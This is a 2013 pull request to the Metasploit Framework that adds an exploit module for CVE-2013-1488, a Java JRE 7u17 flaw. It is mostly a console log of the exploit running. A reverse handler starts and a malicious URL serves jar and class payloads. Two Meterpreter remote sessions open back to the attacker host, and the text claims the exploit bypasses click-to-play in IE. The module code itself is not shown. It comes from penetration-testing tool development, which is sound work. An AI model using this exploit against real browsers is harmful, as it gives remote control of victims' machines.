rapid7/metasploit-framework — pull request #1924 by jvazquez-r7 (2013-06-07 18:43:12+00:00)
Title: Add module for CVE-2013-1488

Module for the awesome bug and exploitation road described by @tiraniddo, impressive work from him.

Here is my try to put the msf module. Hope Iam not forgetting nothing in the PR. Tested on Win / IE8 and Win/ Google Chrome. Also Bypasses click2play on IE. Needs java jre 17u17. It's one of the bugs patched after pwn2own.

Test:

```
msf exploit(java_jre17_driver_manager) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 10.6.0.165:4444
[*] Using URL: http://0.0.0.0:8080/k0OEsxDx
[*] Local IP: http://10.6.0.165:8080/k0OEsxDx
[*] Server started.
msf exploit(java_jre17_driver_manager) > [*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/vbcDqcRu.jar
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/vbcDqcRu.jar
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/org.class
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/com.class
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/edu.class
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/net.class
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] Sending stage (30355 bytes) to 10.6.0.165
[*] Meterpreter session 1 opened (10.6.0.165:4444 -> 10.6.0.165:52828) at 2013-06-07 13:33:32 -0500
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/PpOfCKYH.jnlp
[*] 10.6.0.165 java_jre17_driver_manager - handling request for /k0OEsxDx/rvoXPXke.jar
[*] Sending stage (30355 bytes) to 10.6.0.165
[*] Meterpreter session 2 opened (10.6.0.165:4444 -> 10.6.0.165:52860) at 2013-06-07 13:33:44 -0500

```